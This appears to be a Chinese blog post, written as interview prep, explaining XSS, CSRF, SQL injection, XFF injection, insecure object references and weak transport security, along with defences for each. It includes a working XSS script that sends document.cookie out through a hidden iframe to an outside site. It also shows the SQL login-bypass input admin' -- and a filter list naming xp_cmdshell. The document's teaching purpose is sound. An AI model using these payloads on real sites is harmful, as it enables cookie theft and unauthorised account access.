前言
一直以來自己對WEB安全方面的知識瞭解的比較少，最近有點閒工夫瞭解了一下。也是為了以後面試吧，之前就遇到過問WEB安全方面的問題，答的不是很理想，所以整理了一下！
一、XSS攻擊
跨站指令碼攻擊(Cross Site Scripting)，為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站指令碼攻擊縮寫為XSS。惡意攻擊者往Web頁面裡插入惡意的Script程式碼，當使用者瀏覽該頁之時，嵌入其中Web裡面的Script程式碼會被執行，從而達到惡意攻擊使用者的目的。
特點：盡一切辦法在目標網站上執行非目標網站上原有的指令碼。
XSS危害
- 使用js或css破壞頁面正常的結構與樣式
- 通過document.cookie盜取cookie，實現無密碼訪問
- 流量劫持（通過訪問某段具有window.location.href定位到其他頁面）
- Dos攻擊：利用合理的客戶端請求來佔用過多的伺服器資源，從而使合法使用者無法得到伺服器響應。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式，以（被攻擊）使用者的身份執行一些管理動作，或執行一些一般的如發微博、加好友、發私信等操作。
- 利用可被攻擊的域受到其他域信任的特點，以受信任來源的身份請求一些平時不允許的操作，如進行不當的投票活動。
攻擊方式
1. Reflected XSS（基於反射的XSS攻擊）
非持久型，反射型 XSS 漏洞常見於通過 URL 傳遞引數的功能，如網站搜尋、跳轉等。由於需要使用者主動開啟惡意的 URL 才能生效，攻擊者往往會結合多種手段誘導使用者點選。POST 的內容也可以觸發反射型 XSS，只不過其觸發條件比較苛刻（需要構造表單提交頁面，並引導使用者點選），所以非常少見。
反射型 XSS 的攻擊步驟：
- 攻擊者構造出特殊的 URL，其中包含惡意程式碼。
- 使用者開啟帶有惡意程式碼的 URL 時，網站服務端將惡意程式碼從 URL 中取出，拼接在 HTML 中返回給瀏覽器。
- 使用者瀏覽器接收到響應後解析執行，混在其中的惡意程式碼也被執行。
- 惡意程式碼竊取使用者資料併傳送到攻擊者的網站，或者冒充使用者的行為，呼叫目標網站介面執行攻擊者指定的操作。
2. Stored XSS（基於儲存的XSS攻擊）
持久型，這種攻擊常見於帶有使用者儲存資料的網站功能，如論壇發帖、商品評論、使用者私信等。
儲存型 XSS 的攻擊步驟：
- 攻擊者將惡意程式碼提交到目標網站的資料庫中。
- 使用者開啟目標網站時，網站服務端將惡意程式碼從資料庫取出，拼接在 HTML 中返回給瀏覽器。
- 使用者瀏覽器接收到響應後解析執行，混在其中的惡意程式碼也被執行。
- 惡意程式碼竊取使用者資料併傳送到攻擊者的網站，或者冒充使用者的行為，呼叫目標網站介面執行攻擊者指定的操作。
3. DOM-based or local XSS（基於DOM或本地的XSS攻擊）
般是提供一個免費的wifi，但是提供免費wifi的閘道器會往你訪問的任何頁面插入一段指令碼或者是直接返回一個釣魚頁面，從而植入惡意指令碼。這種直接存在於頁面，無須經過伺服器返回就是基於本地的XSS攻擊。
DOM 型 XSS 的攻擊步驟：
- 攻擊者構造出特殊的 URL，其中包含惡意程式碼。
- 使用者開啟帶有惡意程式碼的 URL。
- 使用者瀏覽器接收到響應後解析執行，前端 JavaScript 取出 URL 中的惡意程式碼並執行。
- 惡意程式碼竊取使用者資料併傳送到攻擊者的網站，或者冒充使用者的行為，呼叫目標網站介面執行攻擊者指定的操作。
簡單案例
使用xss彈出惡意警告框，程式碼為：
<script>alert("xss")</script>
複製程式碼xss輸入也可能是html程式碼段，如果使網頁不停的重新整理，程式碼為：
<meta http-equiv="refresh" content="0;">
複製程式碼嵌入其他網站連結的程式碼為：
<iframe src="http://www.jsay.org" width=0 height=0></iframe>
<!-- jsay.org 個人小站還沒開始執行哦！ -->
複製程式碼JavaScript 寫一個請求跨站的指令碼就是XSS了，如下：
<!-- jsay.org 個人小站還沒開始執行哦！ -->
<!-- 將此段程式碼放在評論/留言框中提交 -->
<script type="text/javascript">
(function(window, document) {
// 構造洩露資訊用的 URL
var cookies = document.cookie;
var xssURIBase = "http://www.jsay.org/xss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用於通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);
</script>
複製程式碼XSS防禦
思路：對輸入(和URL引數)進行過濾，對輸出進行編碼。也就是對提交的所有內容進行過濾，對url中的引數進行過濾，過濾掉會導致指令碼執行的相關內容；然後對動態輸出到頁面的內容進行html編碼，使指令碼無法在瀏覽器中執行。雖然對輸入過濾可以被繞過，但是也還是會攔截很大一部分的XSS攻擊。
- 對輸入、URL引數等（如：
<>、/、&、'、"）進行轉義、過濾，僅接受指定長度範圍內並符合我們期望格式的的內容提交，阻止或者忽略除此外的其他任何資料； - 輸出資料之前對潛在的威脅的字元進行編碼、轉義；
- XSS 一般利用js腳步讀取使用者瀏覽器中的Cookie，而如果在伺服器端對 Cookie 設定了HttpOnly 屬性，那麼js指令碼就不能讀取到cookie，但是瀏覽器還是能夠正常使用cookie。
- 設定黑、白名單；
- Content Security Policy 的實質就是白名單制度，開發者明確告訴客戶端，哪些外部資源可以載入和執行，等同於提供白名單。它的實現和執行全部由瀏覽器完成，開發者只需提供配置。
二、CSRF攻擊
CSRF（Cross-site request forgery）跨站請求偽造，也被稱為“One Click Attack”或者Session Riding，通常縮寫為CSRF或者XSRF，是一種對網站的惡意利用。儘管聽起來像跨站指令碼（XSS），但它與XSS非常不同，XSS利用站點內的信任使用者，而CSRF則通過偽裝成受信任使用者的請求來利用受信任的網站。與XSS攻擊相比，CSRF攻擊往往不大流行（因此對其進行防範的資源也相當稀少）和難以防範，所以被認為比XSS更具危險性。
本質原因：CSRF攻擊是源於Web的隱式身份驗證機制。Web的身份驗證機制雖然可以保證一個請求是來自於某個使用者的瀏覽器，但卻無法保證該請求是使用者批准傳送的。CSRF攻擊的一般是由服務端解決。
CSRF攻擊條件：
- 登入受信任網站A，並在本地生成Cookie。
- 在不登出A的情況下，訪問危險網站B。
雖然有些時候你訪問B網站的時候，並沒有訪問A網站，但是你並不能保證之前登入過A網站的本地Cookie已過期，這個時候B網站一樣是可以發起攻擊。 CSRF攻擊是源於WEB的隱式身份驗證機制！WEB的身份驗證機制雖然可以保證一個請求是來自於某個使用者的瀏覽器，但卻無法保證該請求是使用者批准傳送的！
CSRF的防禦
- Cookie Hashing(所有表單都包含同一個偽隨機值);
- 驗證碼;
- One-Time Tokens(不同的表單包含一個不同的偽隨機值);
- 不讓第三方網站訪問到使用者 Cookie，阻止第三方網站請求介面。
三、SQL隱碼攻擊
通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字串，最終達到欺騙伺服器執行惡意的SQL命令。它是利用現有應用程式，將（惡意的）SQL命令注入到後臺資料庫引擎執行的能力，它可以通過在Web表單中輸入（惡意）SQL語句得到一個存在安全漏洞的網站上的資料庫，而不是按照設計者意圖去執行SQL語句。
原理
SQL隱碼攻擊指的是通過構建特殊的輸入作為引數傳入Web應用程式，而這些輸入大都是SQL語法裡的一些組合，通過執行SQL語句進而執行攻擊者所要的操作，其主要原因是程式沒有細緻地過濾使用者輸入的資料，致使非法資料侵入系統。
簡單舉例：
// 前端給後端post鍵值對，登入的使用者名稱和密碼
let data = {
username: 'admin',
pwd: 'abc123456'
}
// 後端的sql語句
SELECT * FROM user WHERE username='${username}' AND psw='${pwd}'
複製程式碼這個時候前端的 username 別人輸入 admin' -- ；這個時候查詢的 SQL 語句就變成這樣子了：
SELECT * FROM user WHERE username='admin' -- AND psw='${pwd}'
複製程式碼Ps: -- 在SQL語句裡面是註釋，也就是說登入的查詢條件變成了不需要驗證密碼！
SQL隱碼攻擊防禦
- 永遠不要信任使用者的輸入。對使用者的輸入進行校驗，可以通過正規表示式，或限制長度；對單引號和 雙"-"進行轉換等。
- 永遠不要使用動態拼裝sql，可以使用引數化的sql或者直接使用儲存過程進行資料查詢存取。
- 永遠不要使用管理員許可權的資料庫連線，為每個應用使用單獨的許可權有限的資料庫連線。
- 不要把機密資訊直接存放，加密或者hash掉密碼和敏感的資訊。
- 應用的異常資訊應該給出儘可能少的提示，最好使用自定義的錯誤資訊對原始錯誤資訊進行包裝
- sql注入的檢測方法一般採取輔助軟體或網站平臺來檢測，軟體一般採用sql注入檢測工具jsky，網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。採用MDCSOFT-IPS可以有效的防禦SQL隱碼攻擊，XSS攻擊等。
四、XFF注入
X-Forwarded-for的縮寫，XFF注入是SQL隱碼攻擊的一種，該注入原理是通過修改X-Forwarded-for頭對帶入系統的dns進行sql注入，從而得到網站的資料庫內容。
XFF的預防
-
過濾http頭中的X-Forwarded-for header中的內容，不允許其插入敏感字元，過濾字元參考sql注入修復方案。
-
過濾以下敏感字元。需要過濾的特殊字元及字串有：
net user xp_cmdshell add exec master.dbo.xp_cmdshell net localgroup administrators select count Asc char mid ' ： " insert delete from drop table update truncate from % 複製程式碼
五、不安全的直接物件引用
當開發人員公開對內部實現物件的引用（例如URL或FORM引數中的檔案，目錄或資料庫鍵）時，就會發生這種情況。攻擊者可以使用此資訊訪問其他物件，並可以建立將來的攻擊來訪問未經授權的資料。
簡單舉例：
更改以下URL中的 userid 可以使攻擊者檢視其他使用者的資訊。
http://www.jsay.org/userid=123 修改為 http://www.jsay.org/userid=124
攻擊者可以通過更改使用者標識值來檢視其他資訊。或者檔案允許下載訪問 http://www.jsay.org/a.txt ，但是通過 http://www.jsay.org/b.txt 可以看到不允許訪問的檔案！
防禦
- 實施訪問控制檢查。
- 避免在URL中公開物件引用。
- 驗證對所有引用物件的授權。
六、傳輸層保護不足
處理使用者（客戶端）和伺服器（應用程式）之間的資訊交換。應用程式經常通過網路傳輸敏感資訊，如身份驗證詳細資訊，信用卡資訊和會話令牌。通過使用弱演算法或使用過期或無效的證照或不使用SSL，可以允許將通訊暴露給不受信任的使用者，這可能會危及Web應用程式和/或竊取敏感資訊。
防禦
- 啟用安全HTTP並僅通過HTTPS強制執行憑據傳輸。
- 確保您的證照有效且未過期。
我自己運營的公眾號，記錄我自己的成長
公眾號：前端曰
公眾號ID：js-say
ps：是(yue)不是(ri)